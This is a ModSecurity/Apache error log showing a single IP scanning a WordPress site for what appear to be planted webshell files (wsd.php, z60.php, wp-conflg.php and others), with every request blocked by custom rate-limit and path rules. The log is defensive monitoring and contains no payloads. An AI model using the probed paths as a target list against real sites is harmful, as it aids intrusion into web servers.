[Sun Dec 28 21:17:42.551114 2025] [:error] [pid 43789:tid 43805] [client 74.225.139.234:19575] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVEt9ga-tUppni4CcCZI6gAAAQ4"]
[Sun Dec 28 21:17:42.874504 2025] [:error] [pid 43789:tid 43815] [client 74.225.139.234:19500] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVEt9ga-tUppni4CcCZI7AAAARg"]
[Sun Dec 28 21:17:43.348873 2025] [:error] [pid 29436:tid 29446] [client 74.225.139.234:13284] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVEt97chzOOtNL9VPNIRagAAAYc"]
[Sun Dec 28 21:17:44.265227 2025] [:error] [pid 29436:tid 29442] [client 74.225.139.234:19528] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVEt-LchzOOtNL9VPNIRbQAAAYM"]
[Sun Dec 28 21:17:44.970780 2025] [:error] [pid 29388:tid 29399] [client 74.225.139.234:19534] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVEt-NoLv2L2zI_SpdX2WQAAAUM"]
[Sun Dec 28 21:17:46.356806 2025] [:error] [pid 29388:tid 29398] [client 74.225.139.234:13309] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVEt-toLv2L2zI_SpdX2YQAAAUI"]
[Sun Dec 28 21:17:47.011715 2025] [:error] [pid 42378:tid 42404] [client 74.225.139.234:19512] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aVEt-zgtcN-KHAjWrX8uVwAAANg"]
[Sun Dec 28 21:17:47.462753 2025] [:error] [pid 43789:tid 43791] [client 74.225.139.234:13289] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aVEt-wa-tUppni4CcCZI9gAAAQA"]
[Sun Dec 28 21:17:48.153423 2025] [:error] [pid 29437:tid 29485] [client 74.225.139.234:13190] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aVEt_BhDotAbVk6pZLfbPAAAAdM"]
[Sun Dec 28 21:17:49.477058 2025] [:error] [pid 29388:tid 29399] [client 74.225.139.234:13305] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atx.php"] [unique_id "aVEt_doLv2L2zI_SpdX2ZwAAAUM"]
[Sun Dec 28 21:17:51.042224 2025] [:error] [pid 29388:tid 29411] [client 74.225.139.234:19495] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aVEt_9oLv2L2zI_SpdX2agAAAU8"]
[Sun Dec 28 21:17:51.800517 2025] [:error] [pid 29388:tid 29406] [client 74.225.139.234:19492] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aVEt_9oLv2L2zI_SpdX2awAAAUo"]
[Sun Dec 28 21:17:52.450018 2025] [:error] [pid 42294:tid 42355] [client 74.225.139.234:19490] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aVEuANTE5kYcYCOzl9HRNgAAAIU"]
[Sun Dec 28 21:17:53.442415 2025] [:error] [pid 42292:tid 42315] [client 74.225.139.234:13298] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/z60.php"] [unique_id "aVEuAZyOrM_vaFx1osZd-AAAABM"]
[Sun Dec 28 21:17:54.012163 2025] [:error] [pid 42378:tid 42391] [client 74.225.139.234:13122] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVEuAjgtcN-KHAjWrX8uXQAAAMs"]
[Sun Dec 28 21:17:54.675942 2025] [:error] [pid 42293:tid 42342] [client 74.225.139.234:13264] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVEuAsvc9B-5cwN385IAMQAAAFM"]
[Sun Dec 28 21:17:55.165668 2025] [:error] [pid 29436:tid 29447] [client 74.225.139.234:19517] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVEuA7chzOOtNL9VPNIRkgAAAYg"]
[Sun Dec 28 21:17:56.024399 2025] [:error] [pid 42378:tid 42389] [client 74.225.139.234:13247] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aVEuBDgtcN-KHAjWrX8uXwAAAMk"]
[Sun Dec 28 21:17:57.384752 2025] [:error] [pid 29436:tid 29449] [client 74.225.139.234:19518] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aVEuBbchzOOtNL9VPNIRmgAAAYo"]
[Sun Dec 28 21:17:58.159846 2025] [:error] [pid 42378:tid 42387] [client 74.225.139.234:13271] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aVEuBjgtcN-KHAjWrX8uYQAAAMc"]
[Sun Dec 28 21:17:58.906443 2025] [:error] [pid 29388:tid 29420] [client 74.225.139.234:19583] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aVEuBtoLv2L2zI_SpdX2dgAAAVg"]
[Sun Dec 28 21:17:59.345817 2025] [:error] [pid 29437:tid 29482] [client 74.225.139.234:13187] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "aVEuBxhDotAbVk6pZLfbWAAAAdA"]
[Sun Dec 28 21:18:00.375438 2025] [:error] [pid 29437:tid 29484] [client 74.225.139.234:13253] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVEuCBhDotAbVk6pZLfbWQAAAdI"]
[Sun Dec 28 21:18:01.516078 2025] [:error] [pid 29437:tid 29490] [client 74.225.139.234:19572] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVEuCRhDotAbVk6pZLfbWgAAAdg"]
[Sun Dec 28 21:18:02.018695 2025] [:error] [pid 42292:tid 42311] [client 74.225.139.234:19476] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVEuCpyOrM_vaFx1osZd_QAAAA8"]
[Sun Dec 28 21:18:02.694667 2025] [:error] [pid 29437:tid 29486] [client 74.225.139.234:13265] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVEuChhDotAbVk6pZLfbXAAAAdQ"]
[Sun Dec 28 21:18:03.604836 2025] [:error] [pid 29437:tid 29467] [client 74.225.139.234:13220] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVEuCxhDotAbVk6pZLfbXQAAAcE"]
[Sun Dec 28 21:18:04.049461 2025] [:error] [pid 29436:tid 29457] [client 74.225.139.234:19553] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVEuDLchzOOtNL9VPNIRoQAAAZI"]
[Sun Dec 28 21:18:04.451941 2025] [:error] [pid 42292:tid 42307] [client 74.225.139.234:13204] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVEuDJyOrM_vaFx1osZeAQAAAAs"]
[Sun Dec 28 21:18:05.496221 2025] [:error] [pid 42292:tid 42302] [client 74.225.139.234:13290] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVEuDZyOrM_vaFx1osZeAwAAAAY"]
[Sun Dec 28 21:18:05.908858 2025] [:error] [pid 43789:tid 43792] [client 74.225.139.234:13285] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aVEuDQa-tUppni4CcCZJBQAAAQE"]
[Sun Dec 28 21:18:06.246436 2025] [:error] [pid 42378:tid 42390] [client 74.225.139.234:13277] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aVEuDjgtcN-KHAjWrX8uaAAAAMo"]
[Sun Dec 28 21:18:06.967364 2025] [:error] [pid 43789:tid 43797] [client 74.225.139.234:13303] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aVEuDga-tUppni4CcCZJCAAAAQY"]
[Sun Dec 28 21:18:07.819026 2025] [:error] [pid 42292:tid 42315] [client 74.225.139.234:13142] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aVEuD5yOrM_vaFx1osZeBwAAABM"]
[Sun Dec 28 21:18:08.583134 2025] [:error] [pid 42292:tid 42314] [client 74.225.139.234:13195] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aVEuEJyOrM_vaFx1osZeCgAAABI"]
[Sun Dec 28 21:18:09.583031 2025] [:error] [pid 29388:tid 29403] [client 74.225.139.234:13217] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aVEuEdoLv2L2zI_SpdX2fQAAAUc"]
[Sun Dec 28 21:18:10.042158 2025] [:error] [pid 43789:tid 43805] [client 74.225.139.234:13250] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aVEuEga-tUppni4CcCZJCwAAAQ4"]
[Sun Dec 28 21:18:10.428917 2025] [:error] [pid 42293:tid 42347] [client 74.225.139.234:13306] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aVEuEsvc9B-5cwN385IASgAAAFg"]
[Sun Dec 28 21:18:11.800329 2025] [:error] [pid 29388:tid 29408] [client 74.225.139.234:19471] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aVEuE9oLv2L2zI_SpdX2fgAAAUw"]
[Sun Dec 28 21:18:12.239608 2025] [:error] [pid 29388:tid 29396] [client 74.225.139.234:19571] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aVEuFNoLv2L2zI_SpdX2fwAAAUA"]
[Sun Dec 28 21:18:12.634014 2025] [:error] [pid 42294:tid 42351] [client 74.225.139.234:13160] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aVEuFNTE5kYcYCOzl9HRTAAAAIE"]
[Sun Dec 28 21:18:13.187154 2025] [:error] [pid 42378:tid 42391] [client 74.225.139.234:19488] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aVEuFTgtcN-KHAjWrX8uaQAAAMs"]
[Sun Dec 28 21:18:13.638814 2025] [:error] [pid 29436:tid 29463] [client 74.225.139.234:13291] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aVEuFbchzOOtNL9VPNIRpwAAAZg"]
[Sun Dec 28 21:18:14.817020 2025] [:error] [pid 29388:tid 29419] [client 74.225.139.234:13185] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aVEuFtoLv2L2zI_SpdX2hAAAAVc"]
[Sun Dec 28 21:18:15.780153 2025] [:error] [pid 29437:tid 29470] [client 74.225.139.234:13269] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aVEuFxhDotAbVk6pZLfbagAAAcQ"]
[Sun Dec 28 21:18:16.435482 2025] [:error] [pid 29436:tid 29454] [client 74.225.139.234:19519] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aVEuGLchzOOtNL9VPNIRqwAAAY8"]
[Sun Dec 28 21:18:17.157741 2025] [:error] [pid 42293:tid 42340] [client 74.225.139.234:13286] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aVEuGcvc9B-5cwN385IAWwAAAFE"]
[Sun Dec 28 21:18:17.778819 2025] [:error] [pid 29436:tid 29451] [client 74.225.139.234:13224] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aVEuGbchzOOtNL9VPNIRrAAAAYw"]
[Sun Dec 28 21:18:18.909008 2025] [:error] [pid 29388:tid 29406] [client 74.225.139.234:13221] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aVEuGtoLv2L2zI_SpdX2lwAAAUo"]
[Sun Dec 28 21:18:19.348367 2025] [:error] [pid 42294:tid 42369] [client 74.225.139.234:19580] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aVEuG9TE5kYcYCOzl9HRUgAAAJM"]
[Sun Dec 28 21:18:19.861159 2025] [:error] [pid 43789:tid 43798] [client 74.225.139.234:19478] [client 74.225.139.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVEuGwa-tUppni4CcCZJFAAAAQc"]
[Sun Dec 28 21:18:20.289122 2025] [:error] [pid 43789:tid 43797] [client 74.225.139.234:13129] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aVEuHAa-tUppni4CcCZJFgAAAQY"]
[Sun Dec 28 21:18:20.900065 2025] [:error] [pid 42294:tid 42350] [client 74.225.139.234:19499] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aVEuHNTE5kYcYCOzl9HRVQAAAIA"]
[Sun Dec 28 21:18:21.299333 2025] [:error] [pid 42378:tid 42382] [client 74.225.139.234:19527] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aVEuHTgtcN-KHAjWrX8ucQAAAMI"]
[Sun Dec 28 21:18:22.840093 2025] [:error] [pid 29436:tid 29457] [client 74.225.139.234:13248] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVEuHrchzOOtNL9VPNIRsgAAAZI"]
[Sun Dec 28 21:18:23.299694 2025] [:error] [pid 29388:tid 29413] [client 74.225.139.234:13280] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aVEuH9oLv2L2zI_SpdX2mwAAAVE"]
